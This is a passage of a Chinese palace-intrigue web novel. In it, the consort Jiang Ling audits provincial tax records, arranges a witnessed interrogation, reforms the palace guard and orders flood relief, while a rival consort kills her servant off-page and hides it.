不断地扭动挣扎。绳索是牛皮做成, 沾了汗水尿水,膨胀之后越来越紧。 他喊得嗓子发哑冒烟,周遭依然一片死般地寂静。 杨应知晓周围有人, 正在欣赏着他的惨状。惊惧让他控制不住大喊大叫,“是赖三陈福顺害我,是他们害了我!我什么都没做,什么都没做,是赖三陈福顺他们使坏!” 喊了一阵,无人搭理,一切如旧。 杨应喉咙干燥得刺疼,双眼通红充血,他拼命喘着气,最红不顾一切喊道:“是柳贤妃,都是柳贤妃指使啊!” 立在门外的薛庵脸色大便,赶忙示意禁卫进屋堵住杨应的嘴,“仔细看好了!” 江舲与林贵妃商议了放宫女出宫的具体细节,送走她之后,回屋陪着元明帝用午膳。午间歇了不到半个时辰,政事堂几个相爷并户部姜尚书一并来了。 “这是娘娘要的账目户贴地契田契。”姜尚书恭敬地捧着厚厚一摞账本上前,江舲颔首道谢,文涓上前接过放在了她右侧的案几上。 郭相则拿了吏部考评等文书上前,神色略微尴尬,道:“娘娘,王尚书身子不好,告病在府中修养。吏部的履历考评,由臣去吏部寻来。王尚书不在,耽误了一些功夫,还请娘娘见谅。” 上次江舲已经见识到王尚书的态度,他称病不愿上朝,乃是对她的反对与抗议。 江舲并不在意,她时刻提醒自己,莫要做那乾纲独断专制之人。 朝堂天下需要不同的声音,有人提出反对意见,只要说出反对的理由,这样才会引起深思。一起探讨查漏补缺,弥补不足。 “天气炎热,你们也要注意身子,莫要中暑了。” 江舲真诚关切地说着,她打量过去,郑相等人皆穿戴整齐,身着朝服官帽朝靴。虽说夏日的朝服与官帽用比较透气的绢做成,里三层外三层穿戴下来,客舍摆着冰鉴,他们依然汗流浃背。 “着实太厚了。郑相你们去与朝臣官员商议一下,可要更改朝服,换成你们在府中所穿一样轻便。尤其是朝靴,滋生虫蚁之处,必定潮湿,腐朽发臭。我以为天气炎热的时候,只着布鞋即可,无需穿朝靴。” 朝靴分为皮布等材质,皆长及小腿。将裤腿塞入其中,使人显得挺拔,威严。 郑相等人不由自主低头看去,脚趾在朝靴里动来动去。 官威是足够,只在夏日穿着,闷热不透气,不到半日就汗津津。晚间回府脱靴时,脚被汗水浸得发白脱皮,瘙痒,臭不可闻。 “我知道这是礼制,礼制不可违。不过,我以为因地因时制宜,还是比较合理。这只是我的想法,还是以你们的为主。究竟是礼制重要,或是人的身子,舒适合适重要,你们不如干脆好好探讨一下。” 江舲一边翻看着账目文书,一边笑吟吟说着。她并不强行要求改变,而是温和地建议。改不改变,在于他们自己。 千百年的礼制很重要,他们也借着礼制,享受着各种的特权。礼制不可违,是他们维护自己权势的手段。 不过,江舲端瞧着郑相他们的反应,她相信,他们会改。 因为,无人愿意吃苦受罪。“吃得苦中苦,方为人上人”,已经身为人上人的他们,更不愿意吃苦。 礼制这面大旗,能被撕开一道小口,终有一日,会被彻底撕碎。 比如三从四德,从夫从子,男主外女主内,对权势的仰慕崇拜等等。 江舲做不了那么多,眼下她做所作为,亦不仅仅为了还击柳贤妃。 朝堂上反对她之人。若是只针对她的能力本事,她绝无二话。但折子上参奏她的理由,皆是后宫不得干政,即打着妇人不得当政这面大旗,那她就必须狠狠打压回去! 毕竟元明帝凭着身下多了一块肉,他理所当然能做皇帝,无人会质疑。 江舲与元明帝日夜相处,他无德无能,他不配! “冀州府的这份账目,我看得有些纳闷不解。庆丰三年,田地的亩数没变,地契的所有人改变甚大,共有近一千亩田地易主。田地可随意买卖,这些无关紧要。紧要之处在于,这一千亩地中,有上等田皆落入了章方其之手。章方其是何方人士,怎地那般有钱?章方其纳税如何,田亩过契,可有缴纳契税,我在这份账目中不曾见到。” 江舲慢慢翻动着账目,她不经意,并无任何目的,随口说着她见到的不明白之处。 “卖地卖儿卖女,肯定是遭受了灾害。冀州府的地理堪舆,庆丰三年钦天监的记录,烦请你们拿来我一起看看。发生灾害,朝廷肯定有赈济。唔,账目上记录了,是遭受了灾害,朝廷下旨免除了秋赋。不用缴纳秋赋,百姓应当能勉强活下去。大量卖地的话,应该有不少人饿死,流亡他乡讨饭讨个活路。” 江舲再改拿起冀州府的人口户簿册子,“咦,人口不见减少,反而还有一定的增长。真是神奇。” 郑相看向姜尚书,他的神色难掩震惊。郭相孙相两人皆征征坐着,一时忘了反应。 地方州府的赋税几何,年年由地方州府与户部核对。缴纳的钱粮,按照户部核计的田亩,丁户等征收。 如江舲所言那样,田地能随意买卖,户部不予理会。至于田亩的改变,背后涉及到何事,不属于户部的差使,户部更不会对此深究。 但是,将几种变动联系起来,尤其是把赋税,丁税,过契的赋税,天时,人丁等变动放在一处。里面的不对劲,便就一目了然了。 看到这里,江舲扔下册子,抬眼看向几人,道:“吏部的考评我无需看了。庆丰三年,礼部赵侍郎知冀州,先让赵侍郎解释里面的矛盾之处吧。” 先要弄明白冀州府的各种账目,毕竟赵侍郎从冀州府知府升迁到户部侍郎,若他在冀州府任上履历政绩等为弄虚作假,吏部考评就不值得看了。 江舲并不出头,她只讲了冀州府,就将差使交了出去。她也不交给其中一人,而是一并交给了政事堂以及户部。 “其他的我也不用看了,郑相,劳烦你领着几位,照着我的法子,仔细把账目中的矛盾之处理出来,让他们一一解释。姜尚书,户部的官员们都一起去听,以后户部审核账目,心里也有个数。” 郑相早已听得失神,心中震骇莫名。 江舲始终不愠不怒,态度平和,并非咄咄逼人,将人定罪。只她抽丝剥茧的问询,无异于要将人抽筋剥骨,无人能丝毫不出错回答上来! 郑相极力稳住神,他赶忙应下,“臣遵旨,这就去办。” 孙相等几人面面相觑,跟着也一起应了。 江舲不将此事交给某一人,也是有她的考量。顺利地让郑相他们接过了差使,避免了将某一人置于风口浪尖之上、她把政事堂以及户部一并推出去,无形中把他们捆在了一条船上。手握重权的衙门一起出面,朝堂官员的火也烧不起来。 最令江舲欣慰的是,无一人想到元明帝! 刚送走郑相等人,薛庵急匆匆跑来,紧张万分地道:“娘娘,杨应他,他在大喊大叫,称是得了贤妃娘娘指使。” 江舲看向门外,此时太阳刚刚往西边而去,杨应连大半天都没坚持住! “此事至关重要,不能偏听偏信。唔,必须不能冤枉了柳贤妃,你让丁皇城使出面审问,宗正卿,刑部尚书大理寺卿,卫大学士一并来旁听。记住了,只丁皇城使出面,其他人都在暗中听审,赖三与陈福顺一并审问了。切记,不得使用刑罚,屈打成招。在审问的文书上让杨应画押,听审的几人核对无误之后,一并画押确认。” 江舲认真思索,详细安排了下去,“招供文书不能算做柳贤妃的罪证,只能算是杨应赖三陈福顺的口供,要给柳贤妃辩解的机会。” 薛庵听得目瞪口呆,丁尚深谙审问之道,杨应已经吓破胆,无需审他就已经招了。宗正卿出面,是因为柳贤妃是有礼部诰封的一品妃,但她亦是皇家人。礼部不能擅自废了她的头衔,宗正卿管着皇家事务,做不了废妃的主。但皇家有人出面,表明了足够的正式。 刑部与大理寺来听案,身为断案的衙门,他们在的话,佐证了审问结果的权威与公正。 至于卫大学士,他一向正直,公正不阿。有他在,作用不言而喻。 加上陈福顺与赖三的佐证,审问的结果,基本上可以当做结案的卷宗。 柳贤妃的下场,几乎已经明朗! 第120章 文涓手脚麻利收拾着冰鉴底下的水, 小声道:“娘娘,青檀先前与奴婢说,她打算年满十八九出宫。还有粗使洒扫的三妮儿跟姚艾草, 她们两人都一心要出宫回乡。三妮儿与姚艾草也就罢了,奴婢跟她们不熟, 今年已经二十岁,两人都不机灵, 留在宫中也没甚出息。只青檀这个丫头, 没想到她是聪明面孔笨心肠。奴婢气不过,狠狠骂了她一通。她家里穷得叮当响, 把她几个姐妹都卖了,给两个兄弟盖房娶亲, 那个家还回去作甚, 骨头都给她嚼着吃没了!” 江舲扬了扬眉,好奇问道:“青檀如何回复你?” 文涓道:“那妮子不吭声,阿箬脾气直, 问她可是想嫁人了。想要嫁人也不用回她那穷家去, 求娘娘在京城赐一门亲, 可以风风光光做夫人呢!青檀气得扭头走了, 也不知她心底到底是何想法。” 江舲唔了声, “阿箬她们呢, 还有谁想出宫去?” “紫衫丹桂称年纪还小,没想那么多, 要多存些银钱傍身。阿箬女官做得起劲得很, 更是打都打不出去。” 文涓说到阿箬,忍不住抿嘴笑了起来,她朝外探头望了望, “秦福他们眼馋得很,说是只有宫女可以出宫,内侍却不行。连黄梁都酸了几句。奴婢就说他们要出宫还不容易,他们的差使眼馋之人多得很。秦福马上左一个右一个好姑姑,他才不想出去,请奴婢莫要告诉娘娘。” 秦福自小在萧允瓒身边伺候,面相老实,内里机灵。与阿箬一样,对做官最为痴迷。他平时勤快得很,暗中摩拳擦掌,准备做到威风凛凛的都指挥使。 患寡不患均,秦福黄梁都这般想,其他内侍可想而知。 江舲早有所打算,与林贵妃也商议过,打算先放宫女,再放内侍。她还有个打算,改变勾当皇宫的设置。 这时,卧房内传来元明帝的吆喝声:“来人!” 先前元明帝施针之后在打瞌睡,江舲见他醒来,起身下榻进屋。文涓赶忙放下葫芦勺跟在身后,屈膝请安,提壶斟茶奉上:“皇上请吃茶。” “成日不见人影,你们在嘀嘀咕咕说甚呢?”元明帝接过茶盏,转动着眼珠,在江舲与文涓身上来回打转。 江舲道:“我在与文涓说放宫女出宫之事。皇上醒了?” 文涓脑子转得快,她忙屈膝下去,感激地道:“皇上下旨允了宫女出宫,大家都对皇上感激不尽,皇上仁慈,天下百姓有福,奴婢能进宫当差,是奴婢几世修来的福分。” 元明帝被文涓夸得比大夏天吃冰雪糖水还要爽快,昂着下巴一脸得意,问道:“你也打算出宫去?” 文涓忙道:“奴婢愿意留在宫中,一辈子伺候娘娘。” 元明帝端详着文涓,大慈大悲地道:“看在你忠心的份上,朕做主给你赐一门婚事。唔,你的年岁大了些,武将都已经成了亲,只能去做填房继室。不过,这倒也不算委屈了你,你嫁进去就能当家理事。有朕赐婚,夫家断不敢怠慢了你。” 文涓脑子轰地一声,脸色瞬间惨白,她僵硬在那里,一时忘了回应。 “皇上,文涓是我身边得用的人,我可不答应把她嫁人。” 江舲虽不担心文涓会被元明帝胡乱指出去,心里还是升起一阵恶心。她对文涓挥挥手,“你先下去做事吧。” 文涓终于神魂归位,逃也似的退了出去。元明帝见状皱起眉,不悦道:“怎地,你莫非是以为,她去做继室填房,难道还辱没了她不成?” “是啊。”江舲毫不避讳,一脸理所当然地承认了。 元明帝一下没反应过来,噎在了那里,瞪着江舲道:“胡说八道!” “宰相门前七品官,皇上门前至少是三品大官,还是天子近臣。三品大官嫁给丧妻的武将,那得要兵部尚书枢密使大将军了!” 江舲真正打胡乱说起来,既捧了元明帝,又乱用比喻使得他无法反驳。 憋了半天,元明帝斜乜过来,道:“哼,你就是护短!” “皇上,宫女们都对皇上感恩戴德呢。哎,就是内侍有些不满。” 江舲愁眉苦脸起来,她叹息一声,“最近宫中出了些事,皇上,我担心皇上身子,想着要如何与皇上说。” 元明帝听到出事,神色就变得不耐烦起来,道:“一天天没个消停的时候,这是在诅咒朕,最怕朕不被气死了!” “呸呸呸!”江舲朝四周呸了几声,双手合十乱祈求,“各路神仙菩萨,做不得数做不得数!” 元明帝本来满身怒气,见江舲关心他,顿时又高兴起来,柔声道:“好了好了,朕以后不再提这个字。你说吧,究竟发生了何事?” “皇上莫要动怒啊。”江舲故意严肃地说道。元明帝眼含柔情望着她,点头应下,“朕答应你不动怒。” 江舲脸颊抽搐了下,把杨应打算唆使护卫闹事之事说了,“杨应称是受了柳贤妃指使,他的话不可全信。后宫出事不断,朝堂内外都盯着,以前查柳氏也没查出个所以然。皇上,不如干脆趁此一并查了。” 元明帝见涉及到勾当皇宫护卫,哪还沉得住气,神色立刻大变,冷声道:“大胆刁奴,抓起来好生审,看他们究竟有何居心!” 江舲安抚他道:“皇上放心,杨应他们都已经被抓住,垂拱殿换成了禁卫守着,铜墙铁壁,任蚊虫都飞不进来。宫中如今太太平平。我已经让丁皇城使老贤亲王刑部大理寺,加上卫大学士一并去审问,定会查个水落石出。” 元明帝听到江舲已经妥善处置,无需他操心,顿时长松了口气,道:“混账东西,真是不让朕省心,别轻易放过,定要一网打尽!” 江舲应是,道:“皇上,护卫们估计也是想着,宫女能放出宫,他们不能出去,心里不满了。皇宫有皇城,京城有城门,城墙固若金汤,就是有叛军造反,一月半月也攻打不下来。勾当皇宫的护卫们,在身边的守卫反倒成了威胁,此事必须做出变革。” “变革?”元明帝拧眉,他身子虚弱,听到需要动脑考虑的事,马上不满地道:“杀了不听话的护卫就是,几个阉人,还能反天不成!” “皇上以前教过我,要用平衡手腕,互相制衡。” 江舲不理会元明帝,熟练地先吹捧他,再道出她的目的:“后宫用内侍,考虑到后宫除皇上之外,皆为女眷与小儿。用宫女与用内侍,实则是一样的作用。内侍用一半,另一半选身子健壮的宫女。且护卫要经常更换,比如当差满一年,则要调到别的差使上去。这样一来,宫女内侍互相牵制,且调动得快,他们来不及结党营私。” “这个法子倒是不错,你去安排就是。”元明帝见江舲说得有几分道理,内侍宫女在他眼里看来皆是奴仆,由谁当差都一样,很快就答应了。 内侍的最高品级是正四品,比起宫女女官最高为正五品,足足高一个品级。 皇宫后苑是天底下最为安全之地,护卫差使轻松,当值只佩刀四处走动巡逻。要真需要拼杀,大胤天下应当易主了。 江舲顺利将护卫大权一分为二,一半交给了宫女。以后从勾当皇宫护卫处起,内侍与宫女的品级,俸禄皆相等。 “俗话说,光脚不怕穿鞋的。内侍也好,宫女也罢,都是穷苦人家出身。有些人还没了家,无牵无挂在宫中,待年老出宫送到庙宇。虽说皇宫好心出钱粮养着他们,唉,庙宇清苦,有几人愿意去呢?这人没了盼头,就容易生事。” 元明帝板着脸,厉声道:“敢生事,除非他们不要命了!” “可不是不要命了。” 江舲颇有些无语附和了句,她望着元明帝浮肿的面庞,耐着性子道:“要是有个盼头,人就会惜命。放他们出宫也好,以后养老有望也罢,总归会考虑得多一些。以后他们出宫养老之处,如何养老,重新替他们安排。皇上不用操心,内藏库无需多出钱粮。待这件事有个眉目之后,我再来与皇上细说。” 不用他费心,不给内藏库增添负担,元明帝痛快地答应了,“行行行,你既然不怕麻烦自己找事,你就去操办吧。” “是。”江舲说了句,似乎随意问道:“皇上可觉着热?” 元明帝久躺不动,山珍海味伺候,养得一身肥肉,最为不耐热。江舲嫌弃他身上酸臭,在卧房摆了许多冰鉴。元明帝舒舒服服躺着,笑道:“你冰鉴摆了一屋,朕还要盖薄被呢。” 江舲指着外面的窗棂,“皇上瞧,都这个时辰了,太阳还是这般烈。外面热得很,出门在外走几步,就一身一头的汗。我见那些朝臣,朝服朝靴都湿透了。皇上,让他们换一身轻便的朝服吧,还穿着长腿靴,真是不嫌臭。” 元明帝立马沉下脸,盯着江舲警告道:“休要胡说,礼制规矩不可改。朝臣官员衣着随意,何来的威严脸面。” 江舲笑吟吟地忽悠元明帝,“天底下本该就只有皇上一人威严,皇上着黄袍,皇上威严就足够。” 元明帝一愣,江舲见到他的反应,乘胜追击道:“改不改在他们,让他们自己去商议,愿意改就改,不愿改就不改。改了的话,皇上以后也不用闻他们身上的酸臭味。若是坚持不改,皇上体恤朝臣官员辛苦,乃是他们不识好歹,与皇上何干?” 元明帝沉吟了下,道:“也罢,随他们自己去商议。” 江舲先斩后奏的事,在元明帝面前全过了明路。 翌日,宗正卿老贤亲王与卫大学士进宫来面圣,问到旁听审案之事。 元明帝一听,就气不打一处来,道:“你们好生盯着,仔细有人在从中作乱!” 两人听到元明帝的旨意,连忙去找丁尚。刑部尚书与大理寺卿见状,对丁尚找他们来旨意何来,更是深信不疑。 丁尚听到是江舲的吩咐,他底下皇宫守卫的事情一直未发,从头到尾都不敢多问一句,规规矩矩去办了。 朝堂后宫热闹中夹杂着暗流涌动,惟有琼华阁如世外桃源,被江舲护得密不透风,安宁祥和。 入夜之后,偶尔几声虫鸣蛙叫,柔仪宫死一般地寂静。 不知过了多久,书房内,终于响起柳贤妃暗哑的声音。 “嬷嬷,我何处待你不好,你要告老出宫,离我而去?嬷嬷,你可是见我失势,忙着去投奔新主子了?” 无人回答,尚嬷嬷躺在地上,身下蜿蜒的血流,业已干涸。《 》 120-130 第121章 浓烈的血腥气息如江潮一般, 一波接一波涌来,让人无从躲藏,密密被笼罩其中。 柳贤妃泪如雨下, 她却浑然未觉。一如既往坐挺直脊背坐在书桌后的圈椅中。 圈椅是酸枝木做成,当年她进入潜邸时, 摆在她那间位于西北角的小院中。她坐了无数的日夜,这是她唯一独自拥有的家什。后来, 她带进宫摆在书房。二十年的岁月过去, 圈椅已经被打磨得圆润光亮。 尚嬷嬷是潜邸的老人,那时她在二门伺候, 柳贤妃把她带进了宫。石嬷嬷生病去世后,将她提拔在身边做了管事嬷嬷。 “你们都要离开, 都要离开。都离开了我。” 柳贤妃轻柔地, 一下下抚摸着圈椅扶手,喃喃低语。手背大片红肿,烛蜡滴在上面, 盖住了细密的水泡。 “往日的那些誓言, 你们都忘了。无妨, 我替你们记在了心底。” 袁长生, 石嬷嬷, 尚嬷嬷, 萧珈桐等人的脸庞,在眼前交错闪过。 “你们都自诩聪慧, 自诩清醒。都是胡扯, 满口谎言!” 柳贤妃蓦地紧抓住扶手,手背被绷紧,水泡破裂。抬头的瞬间, 泪水在空中划出一道晶莹。 “来人!” 门帘掀开,山樱出现在门口。她刚要请安,鼻子察觉不到不对劲,不安低头一看,瞳孔猛然紧缩,颤抖着喊了声,“尚嬷嬷!” 柳贤妃平静地道:“尚嬷嬷掌灯时,不小心撞倒了烛台,把她收敛了。” 山樱脑子已经一片空白,她死劲盯着插在尚嬷嬷头上的青铜花枝烛台,惊恐万状地点点头,转身去叫人。 “山樱。”柳贤妃叫了声。 山樱仓皇地停下脚步,转身看向柳贤妃,从喉咙中挤出一声,“娘娘。” 柳贤妃说道:“尚嬷嬷有些积蓄,你们拿去分了吧。” 山樱与尚嬷嬷常在一处当差,知晓她的家境。尚嬷嬷是京郊人,当年家贫被卖做奴婢,后来辗转进了潜邸。尚嬷嬷有四个兄弟姐妹,一兄一妹皆去世了,只余下她与弟弟。弟弟勤快忠厚,加上她当差赚得月俸的接济娶妻成了家。家人都善良,侄儿也已经娶妻,开了一间小杂货铺子,算不得富裕,至少能养家糊口。嫁人都善良,侄儿递了好几次信,愿意接她回去养老。 宫中允许十八岁以上的宫女离宫,尚嬷嬷念叨了几次,时常点她的积蓄,说是侄儿有心了,可她终究是亲戚,亲戚上门做客,大家都高高兴兴,久住就讨人嫌了。弟弟弟媳上了年纪,一间小杂货铺子,上有老下有小,哪能住在侄儿家。尚嬷嬷积攒了近五十两银子,她打算在侄儿家旁边买间屋,彼此有个照料就好。 山樱结巴起来,下意识呐呐道:“娘娘,尚嬷嬷她,她还有侄儿……” 柳贤妃淡淡道:“宫中规矩森严,你还想往宫外递银子?” 山樱不敢多言了,她忙应是,“娘娘,奴婢这就去。” “山樱。”柳贤妃又叫住了她,轻声问道:“你可想出宫去?” 山樱家乡离京两千里,家里一大堆兄弟姐妹,她排行中间,自小父不疼母不爱。她已经二十一岁,听到出宫的旨意,她尚在犹豫不决中。 不知为何,山樱凭着本能摇头,“娘娘,奴婢不打算出宫。” “好。”柳贤妃脸上露出微笑,站起身来,“随后你去撷芳阁走一趟,让大公主来见我。许久没见到她了,我想与她说说话。” 山樱一一应下,差跑腿的内侍去尚书内省回话,她领着粗使宫女前去书房收拾。尚嬷嬷的尸首用白布纬席裹好,待天明时,可交由尚书内省送出宫去安葬。 宫女内侍若是因不小心,或急病去世,宫中备有薄棺,可葬入漏泽园中。尚嬷嬷是柳贤妃身边的管事嬷嬷,柳贤妃称她是不小心撞到烛台而亡,她是主子,尚书内省并尚嬷嬷皆是仆,只能听令行事,无人敢过问。 尚嬷嬷的血,渗入进了书地面的青石缝隙中。山樱跪在地上,拿着布巾仔细擦拭。不知换过多少桶水,山樱鼻尖仍然萦绕着血腥气。柳贤妃喜洁,她点了香炉,香烟袅袅升起,血腥气终于被冲散。 此时天光微熹,廊檐下灯烛熄灭,清灰色的晨光映在雪白的窗棂纸上,朦朦胧胧似水墨画。 山樱望着一尘不染的地面,整个人都晕晕沉沉,只记得还有差使未曾办完。她迈着僵硬的步伐,魂不守舍地前去撷芳阁。 走在夹道中,山樱被巡逻护卫拦住了。张善手搭在刀柄上,上下打量着她,质问道:“站住,一大清早的,你独自去何处?” 不知是否要下雨,晨曦时依旧闷热不堪。山樱发髻衣衫尽被汗水濡湿,头脸手心都汗津津,嘴唇却干燥得张不开,要使劲抿一抿,才努力回了句:“我去撷芳阁传话,娘娘让我去撷芳阁,娘娘思念大公主,要见见大公主。” 张善顿时来了劲,眯缝起眼睛,呵呵笑了,“娘娘思念大公主,大公主只怕这时还未起身呢。莫非娘娘思念了一整晚的大公主?照着规矩,该是两人结伴前去办差,你衣衫不整独身一人来到这里,呵呵,一看就准备使坏!” 山樱脑子轰鸣,茫然地望着张珊一张一合的嘴,仿佛什么都没听见,只着急地替自己辩解:“我是去替娘娘传话,我要去找大公主,我是去替娘娘传话……” 赖三被皇城司带走,张善不知其去向,想到自己对他用刑之事,让江舲颇为不满,始终放心不下。他见有了表现的机会,哪肯放过山樱,当即手一挥,下令道:“带走!” 山樱被护卫牢牢抓住,吃一堑长一智,张善赶紧补充道:“要齐整的,娘娘看不得血腥!” 琼华阁。 秦尚宫一早就来候着,江舲便将她唤到净房,一边洗漱一边听她回话。 “娘娘,天还没亮的时候,尚书内省来了人,说是柔仪宫没了人,要用车送出去。天气热搁置不住,让奴婢早些备好。奴婢多问了一句,竟是贤妃娘娘身边的尚嬷嬷。尚嬷嬷与奴婢前后脚进潜邸,年岁相近,尚嬷嬷身子健壮,平时连个头疼脑热都不见,怎地就突然没了。” 江舲掬水的手一顿,侧头朝秦尚宫看去。她眼眶微微泛红,神色低迷。 “奴婢叫尚嬷嬷老尚,年轻时就这么叫她。她生得老成,说话也老气横秋。还有以前的宋宫正,也常不耐烦听她说话。我们家境都贫寒,没那亲人缘。老尚成日说她的爹娘兄弟姐妹,一家子虽然穷,互相照料帮扶,分着吃碗底的粗粮粥。宫女能出宫了,奴婢就知道老尚肯定要出去。老尚果然来找奴婢辞行,奴婢当时就觉着不妥,究竟有何不妥,奴婢也说不出来,看到老尚一脸的喜悦,奴婢不忍泼她冷水,忍着没有说。谁知,老尚竟然没了。说是不小心撞倒烛台戳穿了头,老尚手脚灵活,怎地就这般不小心了?” 江舲接过秦尚书递过来的布巾,慢慢擦拭着脸上的水珠,道:“你是说,尚嬷嬷因为要出宫,被柳贤妃杀了?” 秦尚宫忙道:“娘娘,奴婢无凭无据,断不敢这般说。” 江舲说道:“你的想法不无道理。烛台有高度,除非是从头顶掉下来,一般不会撞到头。但是,你不能审问柳贤妃,我也不能。我可以审问她,但这样就越过了规矩。” 秦尚宫愣在那里,神色疑惑不解,“娘娘,柳贤妃她,她只有皇上能下旨处置了。” 元明帝是天底下最没规矩,没约束之人,江舲不禁笑了,“规矩是用来保护弱小。好比是柳贤妃其实不能随意杀人,但她不讲规矩,杀了尚嬷嬷,是因为规矩对她没有约束。我可以不讲规矩,直接收拾柳贤妃。听上去是快意恩仇了。可我要是随意杀人,连柳贤妃都能杀掉,杀几个嬷嬷内侍宫女,自是不在话下。到那时,谁能约束我?” 她见秦尚宫仍然满脸茫然,拍拍她的肩膀,朝外走去,“别多想,要真是柳贤妃所为,她跑不了。你要是想出宫,放宽心,尽管与林贵妃那里去录名。你赚得的体己银,细软,都可以带出宫。” 秦尚宫赶忙道:“娘娘,奴婢可不想出宫去。在宫中,奴婢是威风八面的女官,出宫去后就是个无依无靠的老婆子,钱财体几保不住,保不齐老命都没了。” 江舲笑了起来,道:“好,你就继续留在宫中做威风八面的女官。” 秦尚宫也笑,江舲看到在明间门口探头探脑的黄粱,对她道:“我还有些事,过后我找你来说,你先回去吧。” “是,奴婢告退。”秦尚宫也看到了黄粱,屈膝从侧门退出。 元明帝在卧房用燕窝羹,江舲朝黄粱示意,来到明间,“何事?” 黄粱道:“娘娘,张善称贤妃娘娘宫中的宫女山樱在宫中乱走,说是贤妃娘娘思念大公主,去传大公主前去说话。张善见她衣冠不整,神色恍惚,认为她在说谎,不怀好意,把山樱抓了起来。张善想要见娘娘,请求娘娘下令处置。” 江舲不由得笑了,道:“宫女不讲规矩在宫中乱行走,要我下令处置,我这担着的差使未免太多了些。” 黄粱神色尴尬,赶紧赔罪,“娘娘,奴婢也对张善这般说过,只他当做不得了的大事,缠着奴婢要见娘娘。娘娘有令,勾当皇宫巡护不得随意来到御前,奴婢不敢违抗,看在与张善相识一场的份上,厚着脸皮来娘娘面前回一声。都是奴婢的不是,请娘娘责罚。” 张善的小心思,江舲自然一清二楚。她也不指明,沉吟了下,道:“你去跟张善说,山樱因为是奉贤妃娘娘的令去当差传话,带回娘娘面前问明,要真是娘娘的命令,就放了山樱,让她再照着规矩,两人结伴前行去传话。” 黄粱忙道是,江舲又叫住了他,“你去撷芳阁走一遭,不要模棱两可,直接告诉大公主,去柔仪宫见贤妃娘娘,可能有性命之危。” 黄粱脸色大变,“娘娘,这……” 江舲道:“去吧,大公主愿意去就去,一切都随她。” 黄粱咽了口口水,忙撒腿跑去撷芳阁。 袁长生,尚嬷嬷,萧迦桐,他们都是柳贤妃身边最亲密之人。 如今,他们一个个,都离开了她。袁长生与尚嬷嬷都死了,惟有萧迦桐还活着。 萧迦桐这段时日没少折腾,怨天怨地,撷芳阁当差的宫女内侍都苦不堪言她由柳贤妃养大,两人性情其实相仿,倒像亲母女了。 生死有命,江舲已经做到了仁至义尽。 第122章 没多时, 黄粱一头汗赶回来,回道:“娘娘,大公主跟着奴婢来了, 说是要见娘娘。大公主唉,奴婢赶不走, 娘娘可要见她?” 太阳渐渐升起,朝臣百官陆续进宫办差, 奏折成框送进琼华阁。 按照大胤朝廷规矩, 奏折先送进政事堂,若遇到军情或者灾害等紧急要事, 政事堂相爷们会择先处理。一般请安或者其他折子,则会由政事堂的文史官员即堂后官挑选之后, 再送到御前。 除能直达天听的官员, 一般的奏折都要经过政事堂挑选之后,方能送到御前,故而政事堂位高权重。 不过, 政事堂也并非一家独大, 另设知谏院与御史台监督。其中御史台下设置三院, 分别为台院殿院察院, 对应朝廷各部。 丁尚与郑相孙相郭相一早就进宫来求见江舲, 卫大学士老贤亲王则去见了元明帝。 江舲没空搭理萧迦桐, 对黄粱道:“你先让她去偏屋等着,我这里忙完了再说。” 黄粱赶忙退下, 江舲来到客舍, 几人起身见礼,郑相一脸紧张,道:“娘娘, 赵侍郎不服,称被娘娘蓄意找茬,实乃故意报复。其他几人也一样,以为要翻往年账目,则要一视同仁。” 户部姜尚书没出现,江舲大致已经猜到,户部账目皆经不起细查。赵侍郎他们将其他朝臣官员拉下水,江舲要是敢查下去,指不定会被打成妖妃,以平息众怒。 江舲早就预料到这样的结果,这也是她把事情交给政事堂以及户部的原因。姜尚书狡猾,郑相他们更是滑不溜秋,见势不对,马上把事情推给江舲。 若把大胤比作一艘大船,江舲是掌控方向之人,而非船夫。被迫卷进后宫的宫斗,江舲的最终目标,也从来不是其他嫔妃。 无论是摄政还是参政,与朝臣官员的争斗,远比后宫要激烈,且责任巨大。 因为,后宫争斗落败,至多被送到皇庙自生自灭。 若前朝的一个决定失误,好比是一座大山,会压在毫无还手之力,犹如尘埃般渺小的万千百姓身上。 “你们要想出应对之法,再来与我回话。我再强调一遍,应对之法,必须着重两处,一是好处,二是坏处。好坏皆要有出处,不得凭空乱编造。” 江舲态度温和,不失坚决。她秉承一贯绝不一言堂的方针,集思广益,群策群力,免得大船触礁。 “诸位都是大胤的巩固之臣,对朝廷,对朝臣,对天下,对百姓,都有自己的独特见解。如今,是展现你们本事的时候了。史官会如实详尽的记录,连着我在内,无论好坏,皆不会修饰更改。至于功过,由后世之人去评判。” 几人面面相觑,神色复杂,震惊惊喜为难各种情绪交错。 震惊的是,江舲的反应,按理说赵侍郎他们反应激烈,她为了息事宁人,应该退让才是。她的态度不见半点退缩之意,似乎打算追究到底。 惊喜的是,江舲提到史官。史书上能力下一笔的官员寥寥无几,身为官员,无人不盼着名流千古。 何况,江舲让他们去想应对之法,从她的要求看来,绝无推托之意,反而是有章有法,打算真正采纳他们的决策。 善于纳谏要从两面来看,一面是明君英主,一面是君主软弱无能。 从江舲最近的举动来看,郑相等人心里都有数,她究竟是好糊弄,还是头脑英明。 为难之处则是此事甚是棘手,一不小心,可能引起朝纲动荡。 若是处理妥当,好处呢? 郑相神色若有所思,不由得看向江舲,道:“娘娘,梧州今年先是干旱,接着又是大雨,遭受了洪涝灾害。粮食颗粒无收,梧州递了急折进京,请求朝廷赈济。娘娘,此乃天灾,梧州形势紧急,臣以为,朝廷该下旨赈济灾民,开仓放粮,免了今年梧州的秋税。” “郑相,梧州府的灾情要紧,我先说说我的处理法子,以做你们参考。” 江舲目光缓缓扫过几人,她的神色沉稳,语气平和。不知为何,郑相几人下意识地垂眸,不敢与她指示。 虽然郑相此举是将朝廷大事直接向江舲回禀,她已经正式处理朝政,心里却是光火直冒。她最恨数据不明。就像是建造房屋,地基勘察错误,上面修得再富丽堂皇,指不定何时就倒塌了。 “梧州具体哪些地方遭受灾害,要拿出堪舆,与户部工部一起核对。梧州有哪些河流,流经何县,何村,当地丁户几何,田地几何。梧州的粮仓,是否真有赈济的粮食。开仓放粮,免除秋税,能解决眼下的燃眉之急。灾后要如何恢复耕种,消除因洪水带来的疫病,亦是重中之重。朝廷赈济,必须赈到实处。待来年,要核查梧州府的人丁户数。” 江舲看过无数的赈济粮被贪腐之事,她无法彻底杜绝,力求更多的人活下来。核查梧州府的丁户,是最直接的手段。 “灾情要紧,你们快去处理,赵侍郎等人之事先放一边。记住了,最迟在明早,朝廷的旨意必须发出去。” 